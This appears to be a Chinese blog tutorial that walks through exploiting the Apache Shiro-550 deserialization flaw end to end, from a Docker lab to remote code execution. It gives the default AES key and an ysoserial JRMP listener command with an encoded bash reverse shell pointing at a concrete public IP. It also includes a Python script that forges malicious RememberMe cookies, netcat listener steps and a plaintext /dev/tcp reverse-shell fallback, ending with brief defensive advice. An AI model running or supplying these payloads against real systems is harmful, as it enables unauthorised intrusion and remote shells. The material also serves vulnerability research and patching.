当前位置: 首页 > news >正文

从Shiro的Cookie到反弹Shell:一次完整的Shiro-550漏洞复现与深度利用(含VPS配置与Payload生成)

Java反序列化漏洞实战:从Shiro-550漏洞复现到深度利用

在安全研究领域,Java反序列化漏洞因其广泛影响面和潜在危害性一直备受关注。本文将带您从零开始,通过一个典型的Shiro-550漏洞案例,完整演示如何搭建实验环境、检测漏洞、构造利用链,最终实现远程代码执行。不同于简单的概念讲解,我们更注重实战操作中的细节处理,包括VPS配置、Payload生成技巧以及可能遇到的各种"坑"的解决方案。

1. 环境准备与漏洞原理

1.1 实验环境搭建

为了安全地进行漏洞复现,建议使用隔离的云服务器环境。以下是基于Docker的快速搭建方案:

# 拉取漏洞环境镜像 docker pull medicean/vulapps:s_shiro_1 # 启动容器(映射8080端口) docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

验证环境是否正常运行:

  • 访问http://your-server-ip:8080
  • 应看到Shiro的默认登录页面

提示:实际渗透测试中,请确保获得系统所有者授权,本文仅用于教育目的。

1.2 Shiro-550漏洞核心原理

Apache Shiro框架的RememberMe功能存在设计缺陷:

  1. 使用硬编码的AES加密密钥(默认kPH+bIxk5D2deZiIxcaaaA==
  2. 对RememberMe cookie值执行以下处理流程:
    • Base64解码
    • AES解密
    • 反序列化解密后的数据

漏洞利用链的关键节点:

环节技术点风险点
Cookie构造恶意序列化对象生成需要正确的AES密钥
网络传输Base64编码处理特殊字符转义问题
服务端处理Java原生反序列化可利用的gadget链

2. 漏洞检测与利用准备

2.1 指纹识别与密钥检测

识别Shiro框架的简单方法:

  • 在请求Cookie中添加rememberMe=1
  • 检查响应中是否包含Set-Cookie: rememberMe=deleteMe

使用自动化工具检测默认密钥:

git clone https://github.com/insightglacier/Shiro_exploit cd Shiro_exploit pip install pycryptodome python shiro_exploit.py -u http://target:8080

常见检测结果分析:

  • 有效密钥:工具会显示可用的默认密钥
  • 无漏洞:可能原因包括:
    • 密钥已修改
    • 版本已修复
    • 网络策略限制

2.2 攻击面准备

需要准备的两台服务器角色:

  1. 攻击机(VPS)

    • 公网IP地址
    • 开放两个端口:
      • 9999(接收反弹Shell)
      • 6666(JRMP监听)
  2. 靶机

    • 运行存在漏洞的Shiro应用
    • 能与攻击机建立网络连接

网络配置检查清单:

  • 安全组规则(放行相关端口)
  • 防火墙设置(临时关闭或添加规则)
  • 网络可达性测试(使用ping/telnet)

3. 利用链构造与Payload生成

3.1 ysoserial工具链使用

下载并编译ysoserial:

git clone https://github.com/frohoff/ysoserial cd ysoserial mvn package -DskipTests

常用gadget对比:

Gadget名称适用场景依赖条件
CommonsCollections大部分Java环境CC库存在
JRMPClient需要二次反序列化网络可达
JNDI高版本JDK受限JNDI注入点

3.2 分阶段Payload构造

阶段一:建立JRMP监听

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 6666 \ CommonsCollections4 \ 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'

阶段二:生成RememberMe Cookie

import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen( ['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("rememberMe={0}".format(payload.decode()))

执行脚本生成最终Payload:

python2 exp.py your-vps-ip:6666

4. 漏洞利用与后渗透

4.1 完整攻击流程

  1. 在VPS上启动Netcat监听:

    nc -lvnp 9999
  2. 构造HTTP请求(使用Burp或cURL):

    GET / HTTP/1.1 Host: target:8080 Cookie: rememberMe=...生成的Payload...
  3. 观察网络连接状态:

    • 应先建立到6666端口的JRMP连接
    • 随后建立到9999端口的Shell连接

4.2 常见问题排查

问题1:Payload发送后无响应

  • 检查VPS防火墙设置
  • 验证靶机出站网络策略
  • 尝试简化Payload(如执行ping命令测试)

问题2:收到连接但立即断开

  • 检查命令中的重定向符号转义
  • 确认Base64编码正确性
  • 尝试不同gadget链

问题3:执行权限受限

  • 尝试使用其他命令注入方式:
    bash -i >& /dev/tcp/your-vps-ip/9999 0>&1

4.3 防御建议

对于企业防御方,建议采取以下措施:

  • 立即行动项

    • 升级Shiro到最新版本
    • 修改默认加密密钥
    • 禁用不必要的反序列化功能
  • 长期加固方案

    • 实施Java安全管理器策略
    • 部署RASP防护
    • 建立反序列化白名单机制

在漏洞研究过程中,我深刻体会到防御的复杂性——即使是一个简单的硬编码密钥问题,也可能导致整个应用沦陷。建议开发者在设计安全敏感功能时,始终遵循最小权限原则,并定期进行安全审计。

http://www.gsyq.cn/news/1479233.html

相关文章:

  • N皇后问题的遗传算法Python实现与工程化落地
  • 避开WRF后处理第一个坑:搞懂PH/PHB、P/PB这些‘扰动量’和‘基态量’到底啥关系?
  • 思源宋体终极优化指南:5个策略让网页字体性能提升300%
  • 如何解决ComfyUI-Manager安装失败:Git环境变量配置问题排查指南
  • # 太原新力惠中学校高补部:20年深耕,铸就高考复读标杆 - 中国企业名录优选推荐
  • GPT-4涌现能力解析:跨模态推理与自主工具调用的‘火花’实证
  • 从全局平均池化到自适应:用nn.AdaptiveAvgPool2d(1)轻松搞定你的CNN分类头
  • DeepSeek R1在Ollama中的量化封装:不是知识蒸馏,而是工程轻量化的实践路径
  • 3步实现无损视频剪辑:LosslessCut终极快速上手指南
  • 2026广东标书代写机构综合实力TOP5排名|权威测评版 - 安华招标
  • RocketMQ Dashboard权限配置实战:从零搭建带用户认证与角色管理的监控后台
  • 10条高精度ChatGPT提示词:面向知识工作的工程化设计
  • N-Gram、词向量与Transformer:语言模型的三阶进化链
  • 成为团队AI执行者:6周内交付生产级自动化模块
  • 谁在重画汽车产业的底色?|2026高通汽车技术与合作峰会「观察」
  • 2026年Turnitin检测攻略:实测将英文论文AI率从80%降到10%的3款工具 - 降AI实验室
  • 保姆级教程:用Python的socket和paho-mqtt库搞定巴法云(Bemfa)设备控制
  • LangChain Memory实战:用ConversationBufferWindowMemory实现稳定对话记忆
  • RePKG:解锁Wallpaper Engine资源的3步简易指南
  • 2026年10款论文AI智能降重工具亲测:从90%降至10%的宝藏之选
  • 天学网靠谱吗?2026最新避坑指南:从功能收费多维度实测解答
  • CSDN AI内容曝光量 vs 掘金技术干货点击率 vs 知乎长尾搜索占比:2024年三大平台算法权重与推荐机制的7大关键差异
  • 别再手动算池化了!PyTorch中nn.AdaptiveAvgPool2d的保姆级使用指南(附代码避坑)
  • Linux下可直接运行的C++ UART通信验证工具包(含设备封装与示例测试程序)
  • 2026年东莞五金工厂外贸建站怎么做 - 凡科杰建云
  • C++轻量ZIP工具库:VS2020可直接编译的跨平台压缩解压源码(含完整测试)
  • ArcGIS Desktop 10.7 保姆级入门:从安装许可选择到第一个地图导出
  • AI 效率工具 PMF 验证方法论:技术人做产品的科学验证路径
  • VC6.0实现的Mean Shift视频目标跟踪演示工具(含完整源码与测试视频)
  • 求职神器 Career - Ops 开源:评估 740 多职位,助力获理想工作!